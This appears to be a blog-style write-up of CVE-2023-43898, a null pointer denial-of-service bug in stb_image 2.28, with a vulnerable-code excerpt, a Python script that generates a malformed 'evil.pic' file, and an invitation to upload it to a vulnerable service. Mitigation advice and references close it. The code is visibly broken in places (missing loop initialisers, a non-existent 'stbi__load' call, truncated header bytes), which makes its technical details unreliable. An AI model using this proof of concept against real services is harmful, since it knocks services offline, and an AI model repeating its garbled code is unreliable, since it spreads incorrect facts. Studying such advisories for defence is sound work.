Earlier in 2023, security researchers discovered a critical vulnerability, CVE-2023-43898, affecting the popular image library "stb" (specifically the stb_image module), version 2.28, maintained by the developer NotHings. The vulnerability is a classic Null Pointer Dereference in the function stbi__convert_format.
This flaw allows a remote attacker to trigger a Denial of Service (DoS) by supplying a specially crafted .pic (Softimage) image file. Upon processing a malicious file through any application leveraging stb_image.h (v2.28), the process can crash, disrupting services or applications that rely on this library.
Below, we break down this vulnerability with easy-to-understand explanations, a real code snippet, sample proof-of-concept, and references for further reading.
What is stb, and Why Does This Matter?
stb is an extremely popular collection of single-file public domain C/C++ libraries for loading and rendering images, fonts, audio, and other resources. Applications, games, and many open-source projects rely on stb_image for parsing image files in formats like PNG, JPEG, BMP, and Softimage PIC.
A null pointer dereference, like the one in this case, happens when the code attempts to use a pointer that hasn't been properly initialized — in C/C++, this usually leads to an immediate crash.
Here's how the vulnerable function roughly looks in stb_image.h 2.28 (code simplified for clarity)
static void *stbi__convert_format(void *data, int img_n, int req_comp, unsigned int x, unsigned int y) {
unsigned int i,j;
unsigned char *good, *input;
// ... some code ...
good = (unsigned char *)STBI_MALLOC(x * y * req_comp); // allocate output buffer
input = (unsigned char *)data;
if (good == NULL) return NULL; // allocation failed: returns NULL
// ... conversion code ...
for (j=; j < y; ++j) {
for (i=; i < x; ++i) {
// some per-pixel code that uses input and writes to good[]
}
}
STBI_FREE(data); // free input buffer
return good;
}
The function simply returns NULL.
- The caller(s) of this function either do not check the result for NULL or they go on to dereference the NULL-pointer, causing a crash.
- With a malicious .pic file (for example, defining huge image dimensions), attackers make this allocation fail at will.
- Any application or backend (e.g., servers, image processing tools) using affected stb_image code can crash when such a file is fed to it.
Exploit Scenario
Imagine a web service relies on stb_image to process image uploads. An attacker crafts a .pic file with corrupted headers or massive dimensions. The malloc fails, but the rest of the code doesn't handle the returned NULL:
unsigned char *data = stbi__load("evil.pic", &w, &h, &n, desired_channels);
// inside stbi__load it calls stbi__convert_format...
// stbi__convert_format returns NULL, but the calling code does not check, ALLOC FAILURE
memcpy(buffer, data, w*h*desired_channels); // CRASH! Dereferencing NULL pointer
This will cause the service to crash — resulting in a Denial of Service without requiring any authentication or special privileges.
Here's a minimal concept code for producing a .pic file with corrupted header values
# evil_pic.py
with open("evil.pic", "wb") as f:
f.write(b"\x53\x80\xF6") # Softimage PIC header
f.write(b"\x00\x00\x00\x00") # Placeholder data
f.write((99999).to_bytes(4, "little")) # Very large width
f.write((99999).to_bytes(4, "little")) # Very large height
f.write(b"\x00" * 100) # Pad with additional bytes if needed
print("Malicious .pic file generated: evil.pic")
Upload this image to a vulnerable service and watch it crash due to unhandled NULL pointer.
Fix & Advisory
The primary mitigation is to check the return value of stbi__convert_format and all allocator calls. If memory allocation fails, code must detect NULL returns and avoid further operations using them.
The stb maintainer has addressed this and other significant issues in later versions (see below for links).
Official References and Further Reading
* NVD Entry for CVE-2023-43898
* stb GitHub Issue (if available)
* stb_image Source Code
* stb Releases
* Softimage PIC Format
Conclusion
CVE-2023-43898 is a great reminder that input validation, memory allocation checks, and safe coding practices are essential, even in widely trusted libraries. If you or your company uses stb 2.28 or earlier, update immediately, and always check allocation results before using them.
For open source maintainers, this vulnerability is another nudge to fuzz test code paths and include tests for memory allocation failures.
Stay secure, keep coding safely, and always validate untrusted input—even in your favorite libraries!
Timeline
Published on: 10/03/2023 21:15:10 UTC
Last modified on: 11/09/2023 20:54:18 UTC